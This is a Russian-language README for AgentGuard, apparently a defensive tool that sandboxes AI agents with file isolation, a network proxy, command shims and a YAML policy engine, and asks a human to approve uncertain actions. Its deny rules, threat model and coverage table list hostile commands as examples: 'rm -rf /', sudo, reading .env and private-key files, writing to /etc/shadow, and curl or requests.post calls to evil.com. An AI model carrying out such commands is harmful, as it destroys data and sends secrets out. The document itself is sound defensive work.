
Песочница с нулевым доверием для AI-агентов, включающая изоляцию файловой системы на уровне ядра, прозрачный сетевой прокси и движок политик на основе YAML для перехвата и контроля команд оболочки, файловых операций и сетевых запросов.
Песочница с нулевым доверием для автономных AI-агентов.
AgentGuard оборачивает любого AI-агента (LangChain, CrewAI, AutoGen, пользовательские скрипты) в защитные ограничения. Изменение одной команды:
# До (опасно — агент имеет полный доступ к системе)
python my_agent.py
# После (в песочнице)
agentguard run -- python my_agent.py
AgentGuard перехватывает каждую команду оболочки, изменение файла и сетевой запрос, которые совершает агент. Безопасные действия автоматически разрешаются, опасные — автоматически блокируются, а всё остальное запрашивает одобрение человека.
AgentGuard имеет четыре уровня защиты, работающих вместе:
┌─────────────────────────────────────────────────────────────┐
│ Уровень 0: Файловая изоляция (sandbox-exec на macOS) │
│ Принудительное выполнение на уровне ядра. Ограничивает │
│ запись файлов и сеть на уровне системных вызовов. Агент │
│ не может обойти из пользовательского пространства. │
│ Блокирует Python open(), requests.post() и т.д. │
├─────────────────────────────────────────────────────────────┤
│ Уровень 1: Сетевой прокси │
│ Прозрачный HTTP/HTTPS-прокси. Каждый сетевой вызов агента │
│ проверяется на соответствие политике. Разрешение/запрет │
│ для каждого назначения с полной видимостью в TUI. │
├─────────────────────────────────────────────────────────────┤
│ Уровень 2: PATH-заглушки (Shims) │
│ Скрипты-заглушки, перехватывающие команды типа git, │
│ pip, curl, rm. Каждая заглушка запрашивает разрешение │
│ у демона перед запуском реального бинарника. │
├─────────────────────────────────────────────────────────────┤
│ Уровень 3: Механизм политик + Демон одобрения │
│ Правила на основе YAML оценивают каждое перехваченное │
│ действие. Автоматически разрешают безопасные команды, │
│ автоматически блокируют опасные, а всё остальное │
│ запрашивает у человека. │
└─────────────────────────────────────────────────────────────┘
Ни один уровень не является единственной границей безопасности. Они работают вместе — защита в глубину.
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
Оба бинарника должны находиться в одном каталоге.
agentguard init
Это создаёт файл .agentguard/policy.yaml в текущем каталоге. Отредактируйте его под свои нужды.
agentguard run -- python my_agent.py
TUI перехватывает управление терминалом и показывает:
Для интерактивных инструментов, таких как Claude Code, которым нужен терминал:
agentguard run --headless -- claude
Агент получает терминал напрямую. AgentGuard работает в фоне без вывода. Все события записываются в ~/.agentguard/logs/headless.log. Следите в другом терминале:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <команда> [аргументы...]
--policy <путь> Использовать определённый файл политики
--headless Без TUI — агент получает терминал
--default-allow Автоматически разрешать решения PROMPT в безголовом режиме (по умолчанию: auto-deny)
--no-sandbox Отключить sandbox-exec (заглушки и прокси остаются активными)
agentguard init Создать файл политики по умолчанию
agentguard version Показать версию
Политики — это YAML-файлы, определяющие, что агенту разрешено, а что запрещено. AgentGuard проверяет три расположения (по порядку):
./.agentguard/policy.yaml (локальный для проекта)~/.agentguard/policy.yaml (глобальный для пользователя)version: 1
deny:
# Блокировать опасные команды
- command: "rm"
args: "-rf *"
reason: "Рекурсивное принудительное удаление слишком опасно"
- command: "sudo"
args: "*"
reason: "Повышение привилегий не разрешено"
- command: "chmod"
args: "777 *"
reason: "Права доступа для всех пользователей опасны"
# Блокировать чтение конфиденциальных файлов (принудительно через sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "Не позволяйте агенту читать .env файлы"
- file:
path: "*.pem"
action: "read"
reason: "Не позволяйте агенту читать закрытые ключи"
allow:
# Безопасные команды только для чтения
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Git только для чтения
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Разрешить запись в рабочую область
- file:
path: "/tmp/workspace/**"
action: "write"
# Разрешить определённые API-эндпоинты
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) — проверяются третьими. Действуют как запрет по умолчанию.Правила команд — сопоставляют команды оболочки по имени и шаблону аргументов:
- command: "git"
args: "push *"
reason: "Отправка требует одобрения"
Правила файлов — сопоставляют операции с файлами (принудительно через sandbox-exec):
- file:
path: "*.env"
action: "read" # "read" или "write"
reason: "Защитить секреты"
Правила сети — сопоставляют сетевые назначения (принудительно через прокси + sandbox-exec):
- network:
destination: "api.anthropic.com:443"
Используйте * как подстановочный знак в аргументах команд, путях файлов и сетевых назначениях.
agentguard/
├── cmd/
│ ├── agentguard/ # Основной бинарник CLI
│ └── agentguard-check/ # Вспомогательный бинарник заглушек
├── internal/
│ ├── policy/ # Механизм политик (YAML разбор, оценка правил)
│ ├── events/ # Система событий (JSONL аудит-лог, pub/sub)
│ ├── daemon/ # Центральный демон (Unix socket, очередь одобрения)
│ │ └── client/ # Клиентская библиотека для заглушек
│ ├── shim/ # Генератор заглушек (перехват через PATH)
│ ├── proxy/ # Прозрачный сетевой прокси
│ ├── spawner/ # Оркестрация + интеграция с macOS sandbox
│ └── ui/tui/ # Терминальный интерфейс (Bubble Tea)
├── configs/
│ └── default_policy.yaml # Эталонный файл политики
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
Каждое перехваченное действие записывается в ~/.agentguard/logs/YYYY-MM-DD.jsonl:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
Запрашивайте стандартными инструментами:
# Все запрещённые действия сегодня
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# Все сетевые запросы
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# Команды, потребовавшие одобрения человека
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
Модель угроз: Агент не заслуживает доверия. Он может пытаться:
rm -rf /, sudo).env, закрытые ключи)Что предотвращает AgentGuard:
.env, .pem и т.д.)filepath.CleanЧего AgentGuard НЕ предотвращает (известные ограничения):
ctypes/cffi (sandbox-exec также блокирует их на macOS)api.anthropic.com, агент может отправлять туда данные)go test ./... -race
Проект содержит более 140 тестов, охватывающих:
jail_darwin.go — macOS sandbox-exec (компилируется только на macOS)jail_noop.go — резервный режим только с заглушками (компилируется на Linux/Windows)sandbox_monitor_darwin.go — отслеживание системного журнала macOS для нарушений песочницыsandbox_monitor_noop.go — заглушка на платформах, отличных от macOSСм. LICENSE.
| Клавиша | Действие | Когда |
|---|
Y | Разрешить ожидающий запрос | Виден запрос на одобрение |
N | Запретить ожидающий запрос | Виден запрос на одобрение |
A | Разрешить и запомнить на эту сессию ("Всегда разрешать") | Виден запрос на одобрение |
B | Запретить и запомнить на эту сессию ("Блокировать навсегда") | Виден запрос на одобрение |
Tab | Переключить панель stdout/stderr агента | Всегда |
Вверх/Вниз | Прокрутка потока событий | Всегда |
Q | Выйти (завершает агента) | Всегда |
| Действие агента | Заглушки | Прокси | sandbox-exec |
|---|
subprocess.run(["rm", "-rf", "/"]) | Да | - | - |
subprocess.run(["git", "push"]) | Да | - | - |
requests.post("https://evil.com") | - | Да | Да |
urllib.request.urlopen("https://api.com") | - | Да | Да |
open(".env", "r") | - | - | Да |
open("/etc/shadow", "w") | - | - | Да |
/usr/bin/curl https://evil.com (абсолютный путь) | - | Да | Да |
| Компонент | Пакет | Назначение |
|---|
| Механизм политик | internal/policy | Разбирает YAML-правила, оценивает запросы → ALLOW / DENY / PROMPT |
| Система событий | internal/events | Аудит-лог только для добавления в JSONL + pub/sub в реальном времени для TUI |
| Демон | internal/daemon | Unix socket-сервер, очередь одобрения с тайм-аутами, управление сессиями |
| TUI | internal/ui/tui | Терминальный интерфейс Bubble Tea с потоком событий и модальным окном одобрения |
| Генератор заглушек | internal/shim | Генерирует скрипты-заглушки, определяет пути реальных бинарников |
| Сетевой прокси | internal/proxy | Прозрачный HTTP/HTTPS-прокси с применением политики для каждого назначения |
| Оркестратор | internal/spawner | Координирует всё: политика → демон → заглушки → прокси → sandbox → агент → TUI |
| Песочница macOS | internal/spawner/jail_darwin.go | sandbox-exec с профилями Seatbelt для принудительного выполнения на уровне ядра |
| Платформа | Заглушки | Прокси | sandbox-exec | Запрет чтения файлов |
|---|
| macOS (Apple Silicon) | Да | Да | Да | Да |
| macOS (Intel) | Да | Да | Да | Да |
| Linux | Да | Да | Нет (в будущем: namespaces + seccomp) | Нет |
| Windows | Да | Да | Нет (в будущем: Job Objects) | Нет |